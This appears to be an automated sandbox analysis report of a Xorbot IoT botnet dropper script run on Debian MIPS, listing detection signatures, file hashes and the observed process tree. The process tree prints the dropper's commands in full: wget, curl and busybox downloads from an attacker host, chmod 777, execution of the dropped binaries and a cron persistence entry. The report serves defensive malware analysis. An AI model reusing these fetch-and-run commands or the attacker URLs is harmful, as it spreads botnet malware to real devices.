Analysis

  • max time kernel
    121s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/12/2024, 20:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fbd30500600cc657e8f82beb7e874847

  • SHA1

    45fce69b45e3ce0b0904e3c63430b4ac5218cc96

  • SHA256

    fceff5acd564ec38057afc8e8b0b5eb7a113be96059d61abd30edc7dc71b16d7

  • SHA512

    0a1be1f5087a220352612ff758831998caecfbee107b1ecb22d6890a1544c5dd807b1f2fc8ae119c26dc8a440c7a9d9aefa209c5b578a96e9b47874f1ac640ab

  • SSDEEP

    192:+WqTMs8IxPxTxk3rL+H/Id5su6AtncSH/Id5z4xPxTxk3rLDWqTMs8/:+WqTMsbZVkbLWu6AtncF2ZVkbLDWqTMn

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1171) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 19 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:717
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/z6y2E8atzJ4719l18SSSPDlKT82IU0TUMo
          2⤵
          • System Network Configuration Discovery
          PID:719
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/z6y2E8atzJ4719l18SSSPDlKT82IU0TUMo
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/z6y2E8atzJ4719l18SSSPDlKT82IU0TUMo
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 z6y2E8atzJ4719l18SSSPDlKT82IU0TUMo
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/z6y2E8atzJ4719l18SSSPDlKT82IU0TUMo
          ./z6y2E8atzJ4719l18SSSPDlKT82IU0TUMo
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm z6y2E8atzJ4719l18SSSPDlKT82IU0TUMo
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/YVLIAJavKp22OgXcF1yCdz482ch7J9wStp
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/YVLIAJavKp22OgXcF1yCdz482ch7J9wStp
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/YVLIAJavKp22OgXcF1yCdz482ch7J9wStp
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:748
          • /bin/chmod
            chmod 777 YVLIAJavKp22OgXcF1yCdz482ch7J9wStp
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/YVLIAJavKp22OgXcF1yCdz482ch7J9wStp
            ./YVLIAJavKp22OgXcF1yCdz482ch7J9wStp
            2⤵
            • Executes dropped EXE
            PID:750
          • /bin/rm
            rm YVLIAJavKp22OgXcF1yCdz482ch7J9wStp
            2⤵
              PID:752
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/3PU7XWVpGVoI4ExOo9AxR03jEMhPmC1R3v
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:753
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/3PU7XWVpGVoI4ExOo9AxR03jEMhPmC1R3v
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:778
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/3PU7XWVpGVoI4ExOo9AxR03jEMhPmC1R3v
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:794
            • /bin/chmod
              chmod 777 3PU7XWVpGVoI4ExOo9AxR03jEMhPmC1R3v
              2⤵
              • File and Directory Permissions Modification
              PID:801
            • /tmp/3PU7XWVpGVoI4ExOo9AxR03jEMhPmC1R3v
              ./3PU7XWVpGVoI4ExOo9AxR03jEMhPmC1R3v
              2⤵
              • Executes dropped EXE
              PID:802
            • /bin/rm
              rm 3PU7XWVpGVoI4ExOo9AxR03jEMhPmC1R3v
              2⤵
                PID:805
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/PGEYocn5yqCK0yvagCd5G13CatQWFEobqk
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:806
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/PGEYocn5yqCK0yvagCd5G13CatQWFEobqk
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/PGEYocn5yqCK0yvagCd5G13CatQWFEobqk
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:821
              • /bin/chmod
                chmod 777 PGEYocn5yqCK0yvagCd5G13CatQWFEobqk
                2⤵
                • File and Directory Permissions Modification
                PID:826
              • /tmp/PGEYocn5yqCK0yvagCd5G13CatQWFEobqk
                ./PGEYocn5yqCK0yvagCd5G13CatQWFEobqk
                2⤵
                • Executes dropped EXE
                PID:827
              • /bin/rm
                rm PGEYocn5yqCK0yvagCd5G13CatQWFEobqk
                2⤵
                  PID:831
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/HqXxNQtCWiKVT8MrX9JJPGzyVrSluIjVmt
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:832
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/HqXxNQtCWiKVT8MrX9JJPGzyVrSluIjVmt
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:845
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/HqXxNQtCWiKVT8MrX9JJPGzyVrSluIjVmt
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:847
                • /bin/chmod
                  chmod 777 HqXxNQtCWiKVT8MrX9JJPGzyVrSluIjVmt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:848
                • /tmp/HqXxNQtCWiKVT8MrX9JJPGzyVrSluIjVmt
                  ./HqXxNQtCWiKVT8MrX9JJPGzyVrSluIjVmt
                  2⤵
                  • Executes dropped EXE
                  PID:849
                • /bin/rm
                  rm HqXxNQtCWiKVT8MrX9JJPGzyVrSluIjVmt
                  2⤵
                    PID:851
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/4DGtpLE7IRGugN5PVizubxJnQuBHKlP9LJ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:852
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/4DGtpLE7IRGugN5PVizubxJnQuBHKlP9LJ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:856
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/4DGtpLE7IRGugN5PVizubxJnQuBHKlP9LJ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:858
                  • /bin/chmod
                    chmod 777 4DGtpLE7IRGugN5PVizubxJnQuBHKlP9LJ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:859
                  • /tmp/4DGtpLE7IRGugN5PVizubxJnQuBHKlP9LJ
                    ./4DGtpLE7IRGugN5PVizubxJnQuBHKlP9LJ
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:860
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:862
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:863
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:864
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:865
                        • /bin/rm
                          rm 4DGtpLE7IRGugN5PVizubxJnQuBHKlP9LJ
                          2⤵
                            PID:867
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/19YD5dgjdhP3xz3k8L6vKX16GvmwjHPUlL
                            2⤵
                            • System Network Configuration Discovery
                            PID:870

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/3PU7XWVpGVoI4ExOo9AxR03jEMhPmC1R3v

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/4DGtpLE7IRGugN5PVizubxJnQuBHKlP9LJ

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/HqXxNQtCWiKVT8MrX9JJPGzyVrSluIjVmt

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/PGEYocn5yqCK0yvagCd5G13CatQWFEobqk

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/YVLIAJavKp22OgXcF1yCdz482ch7J9wStp

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/z6y2E8atzJ4719l18SSSPDlKT82IU0TUMo

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /var/spool/cron/crontabs/tmp.bCp5oe

                          Filesize

                          210B

                          MD5

                          abbcafa9b8b651bf2aa1320ee37991c1

                          SHA1

                          24463186796ca0b217c9c8050d30ef77e7c27a88

                          SHA256

                          ff91043a632b876993fe08b78290b080ee2357eba41f7c2b2d9f7964ce720715

                          SHA512

                          c42f2bcc19842bcbd723457867826a1f57442b442d94ef17619662fec74e369c9c75fe705ac0b925d37d453a291d69a20d2ab98262ec49f14021a6adb509dda8